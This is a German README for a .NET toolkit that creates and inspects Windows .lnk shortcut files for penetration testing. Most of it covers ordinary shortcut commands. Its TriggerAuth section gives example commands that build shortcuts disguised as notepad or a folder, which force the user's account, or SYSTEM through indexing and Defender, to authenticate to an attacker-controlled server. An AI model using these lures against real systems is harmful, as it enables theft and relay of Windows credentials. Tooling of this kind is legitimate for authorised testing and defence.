
Lnk-Erstellung und Forschungswerkzeuge
Ein .NET 8-Toolkit zum Erstellen und Analysieren von Windows-Shell-Link-Dateien (.lnk). Enthält einen Befehlszeilen-Builder (LnkMeMaybe) und einen grafischen Editor (LnkUi). Vorgesehen für Sicherheitsforschung und Penetrationstests.
| Projekt | Beschreibung |
|---|---|
Lnk/ | Kernbibliothek. Parst und erzeugt das .lnk-Binärformat gemäß der MS-SHLLINK-Spezifikation. LnkHandler ist der Haupteinstiegspunkt und setzt sich zusammen aus ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData und ExtraData. |
LnkMeMaybe/ | CLI-Tool. Befehle zum Erzeugen verschiedener .lnk-Dateien. Verwendet das Titanis.Cli-Framework. |
LnkUi/ | Avalonia-11-MVVM-Desktop-Editor. Sieben ViewModels kapseln die entsprechenden Komponenten der Lnk-Bibliothek. Nützlich für manuelle Erkundung und Inspektion von .lnk-Dateien. |
LnkTests/ | MSTest-Suite. Echte .lnk-Dateibeispiele sind als Ressourcen eingebettet. Abgedeckt werden ShellLinkHeader und LinkInfo. |
Allen Befehlen sind die folgenden Basisparameter gemeinsam (aus BaseSavedCommand):
| Parameter | Alias | Erforderlich | Beschreibung |
|---|---|---|---|
--OutputPath | Ja | Dateisystempfad zum Schreiben der .lnk-Datei. | |
--Overwrite | Nein | Überschreiben einer vorhandenen Datei unter OutputPath erlauben. | |
--DisplayName | Nein | Text, der beim Überfahren der Verknüpfung angezeigt wird. Unterstützt \n für Zeilenumbrüche. | |
--IconPath / -I | -I | Nein | Pfad zu einer .exe oder .dll, die als Verknüpfungssymbol verwendet werden soll. Muss auf dem Zielsystem vorhanden sein. |
--IconIndex | Nein | Index der Symbolressource innerhalb der mit --IconPath angegebenen Datei. Standard: 0. |
TriggerAuth (CVE-2026-25185)Erstellt eine .lnk, die Kerberos-Authentifizierung (mit Rückfall auf NTLM) an einen angegebenen Server auslöst. Die .lnk führt nichts aus.
Szenarien, in denen Authentifizierung ausgelöst wird:
.lnk enthält — das Benutzerkonto authentifiziert sich ausgehend..lnk wird an einem Ort abgelegt, den der Rechner zu indizieren konfiguriert ist — SearchProtocolHost authentifiziert sich als SYSTEM.MSSense.exe authentifiziert sich als SYSTEM.Parameter:
| Parameter | Alias | Erforderlich | Beschreibung |
|---|---|---|---|
--FakePath / -F | -F | Ja | Pfad, der in den .lnk-Eigenschaften als Ziel angezeigt wird. |
--Server / -S | -S | Ja | Servername, IP oder UNC-Pfad, an den die Authentifizierung gesendet wird. Hängt IPC$ an, wenn keine Freigabe angegeben ist. |
--Darwin | Nein | Darwin-Kennung, die in der .lnk gespeichert wird. Kann ein beliebiger Wert sein. Standard: unset. |
Beispiele:
# Authentifizierung an \\controlled.example.org\IPC$ senden, während man sich als notepad ausgibt
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Authentifizierung an einen bestimmten Freigabepfad senden, während man sich als Ordnerverknüpfung ausgibt
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutErstellt eine .lnk-Datei, die auf eine Web-URL verweist. Normalerweise erstellt Windows für Webverknüpfungen eine .url-Datei; dieser Befehl erzeugt stattdessen eine .lnk.
Parameter:
| Parameter | Erforderlich | Beschreibung |
|---|---|---|
--Url | Ja | Die URL, auf die die Verknüpfung zeigen soll. Muss eine wohlgeformte absolute URI sein. |
Beispiel:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutErstellt eine standardmäßige Windows-Verknüpfung zu einer lokalen Datei oder einem lokalen Ordner. Der Zielpfad wird als Shell-Element-ID-Liste (PIDL) gespeichert — das native Format, das Windows für Dateisystemverknüpfungen verwendet.
Parameter:
| Parameter | Alias | Erforderlich | Beschreibung |
|---|---|---|---|
--TargetPath | Ja | Absoluter Pfad zur Zieldatei oder zum Zielordner. | |
--Arguments | Nein | Befehlszeilenargumente, die an das Ziel übergeben werden. | |
--WorkingDirectory | -W | Nein | Arbeitsverzeichnis für den Zielprozess. |
--RunAsAdmin | Nein | UAC-Erhöhung anfordern, wenn die Verknüpfung gestartet wird. | |
--ShowCommand | Nein | Fensterzustand beim Start: Normal, Maximized oder Minimized. |
Beispiele:
# Eine Verknüpfung zu Editor erstellen
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Verknüpfung mit Argumenten und benutzerdefiniertem Symbol
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Verknüpfung, die maximiert geöffnet wird und eine Erhöhung anfordert
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutErstellt eine .lnk, bei der der Zielpfad als erweiterbarer Umgebungsvariablen-String gespeichert wird (EnvironmentVariableDataBlock). Dies ist das Format, das Windows für Verknüpfungen zu Systemprogrammen verwendet (z. B. %SystemRoot%\system32\notepad.exe). Variablen werden beim Start expandiert, wodurch die Verknüpfung über Windows-Installationen hinweg portabel ist.
Parameter:
| Parameter | Alias | Erforderlich | Beschreibung |
|---|---|---|---|
--TargetPath | Ja | Zielpfad, kann Umgebungsvariablen wie %SystemRoot% oder %USERPROFILE% enthalten. | |
--Arguments | Nein | Befehlszeilenargumente, die an das Ziel übergeben werden. | |
--WorkingDirectory | -W | Nein | Arbeitsverzeichnis für den Zielprozess. |
--RunAsAdmin | Nein | UAC-Erhöhung anfordern, wenn die Verknüpfung gestartet wird. | |
--ShowCommand | Nein | Fensterzustand beim Start: Normal, Maximized oder Minimized. |
Beispiele:
# Verknüpfung zu Editor mit einem Umgebungsvariablenpfad
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Verknüpfung zu einer App im Benutzerprofil mit Argumenten
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Erstellen (Debug)
dotnet build Lnk.sln
# Erstellen (Release, nur Kernprojekte)
dotnet build -c Release build.slnf
# Alle Tests ausführen
dotnet test
# Eine bestimmte Testklasse ausführen
dotnet test --filter "ClassName=lnkHeader"
# Eigenständige ausführbare Einzeldatei veröffentlichen (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Vorgefertigte Binärdateien für Windows, Linux und macOS (x64 und arm64) sind auf der Seite Releases verfügbar.
Jede Veröffentlichung enthält sowohl eigenständige (keine .NET-Laufzeit erforderlich) als auch frameworkabhängige (erfordert .NET 8-Laufzeit) Builds für LnkMeMaybe und LnkUi.
KI-Systeme wurden für die folgenden Aufgaben eingesetzt: